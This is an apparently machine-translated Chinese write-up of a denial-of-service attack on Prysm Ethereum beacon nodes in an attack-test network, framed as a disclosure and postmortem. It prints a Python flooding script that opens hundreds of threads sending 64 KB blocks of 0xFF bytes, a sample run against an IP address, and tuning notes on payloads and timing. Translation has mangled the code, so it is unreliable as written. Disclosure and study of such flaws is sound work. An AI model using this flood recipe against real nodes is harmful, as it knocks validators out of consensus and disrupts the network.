这次攻击的成功归功于Go标准库中的一个9年前的错误。在验尸过程中,@protolambda、@prestonvanloon、@raulk和我发现了这个漏洞,并选择负责任地向Golang安全团队披露细节。有关更多详细信息,请参阅以下链接:
作为负责任的披露过程的一部分,我选择在漏洞修复并发布安全补丁之前删除此问题。以下是攻击的原始描述(未经更改)。好好享受吧!
PRYSM节点容易受到DoS攻击,从而阻止它们参与共识。
4个Prsym节点中有3个是2台持续DoS攻击的AWS t2小型机的目标。
DoS攻击对攻击网络的影响是长时间的损失终止性;但是,一旦攻击停止,网络能够在几个时期内恢复到正常状态。受到攻击的节点表现出高CPU使用率、大量出站流量、在子网中查找对等点的困难以及一个节点的本地时钟存在时差,从而导致导入数据块时出现问题。
这是两台机器运行的代码,以防止攻击网络上的最终结果。
#!/usr/bin/python3导入线程导入套接字导入时间导入sys def worker(id,ip,port):WHILE TRUE:SOCK=SOCKET。插座(插座。AF_INET,插座。SOCK_STREAM)袜子。连接((IP,端口))打印(";Worker{}已连接";。格式(Id))数据包=字节([255]*65536)SOCK。发送(数据包)时间。睡袜(20)。如果__name__==";__main__";:ip=sys,则关闭()。Argv[1]端口=int(系统。Argv[2])num_thread=int(sys.。Argv[3])线程=[],i在范围内(Num_Thread):线程=线程。线程(target=worker,args=(i,ip,port))线程。附加(线程)线程。启动()。
$./PRYSM_attack.sh 3.236.241.28 9000 500Worker 0已连接Worker 1已连接Worker 2已连接Worker 3已连接Worker 4已连接Worker 5已连接Worker 6已连接Worker 7已连接Worker 8已连接Worker 9已连接Worker 10已连接...Worker 499已连接
为了执行攻击,我使用三个进程将以下IP地址作为目标-一台计算机上有两个进程,另一台计算机上有一个进程。
每个进程产生500个线程,这些线程进入执行以下步骤的无限循环:
注意:该攻击肯定适用于有效负载xFF、xFe等,但是x00会导致Prysm断开连接。
注意:睡眠时间是一个限制器,有点随意,但实验上它比我在使用Netcat时注意到的Prysm节点的超时时间要低。
在开发此攻击时,我尝试做的第一件事就是使用使Teku崩溃的同一命令。不幸的是,从/dev/Zero发送输出会导致Prysm立即断开连接。最后,我找到了其他可以让连接保持开放的有效负载(见上文),但是发送大量的小数据包(就像我对Teku所做的那样)在Prysm上似乎没有那么有效。我转而使用Python,这样我可以更好地调整比率,我发现较少数量的大包对Prysm更有效。
请记住,此处的目标只是关闭网络,因此攻击是使用症状方法(即试错)设计的,几乎不考虑根本原因分析。这将花费更多的时间来隔离运行、记录它们并将性能与其他客户端进行比较。
需要注意的一点是,这次攻击似乎对灯塔并不有效。
这场攻击从1843年持续到1864年。我应该停在大纪元1860,但是Prysm攻击网的信标链探索者在大纪元1860之前1个插槽变得没有反应。因此,我必须启动一个本地Prysm节点来验证攻击是否成功。当节点同步启动时,信标链浏览器重新联机,攻击持续了20多个纪元。
以下是我的本地节点的屏幕截图,显示了超过16个纪元的终结性被阻止:
PRYSM';从攻击中恢复的过程很有趣。以下是网络恢复后来自https://prysm-attack-0.beaconcha.in/的一些屏幕截图:
以下是我的本地节点的屏幕截图,显示Prysm在攻击结束后恢复了大约2个纪元: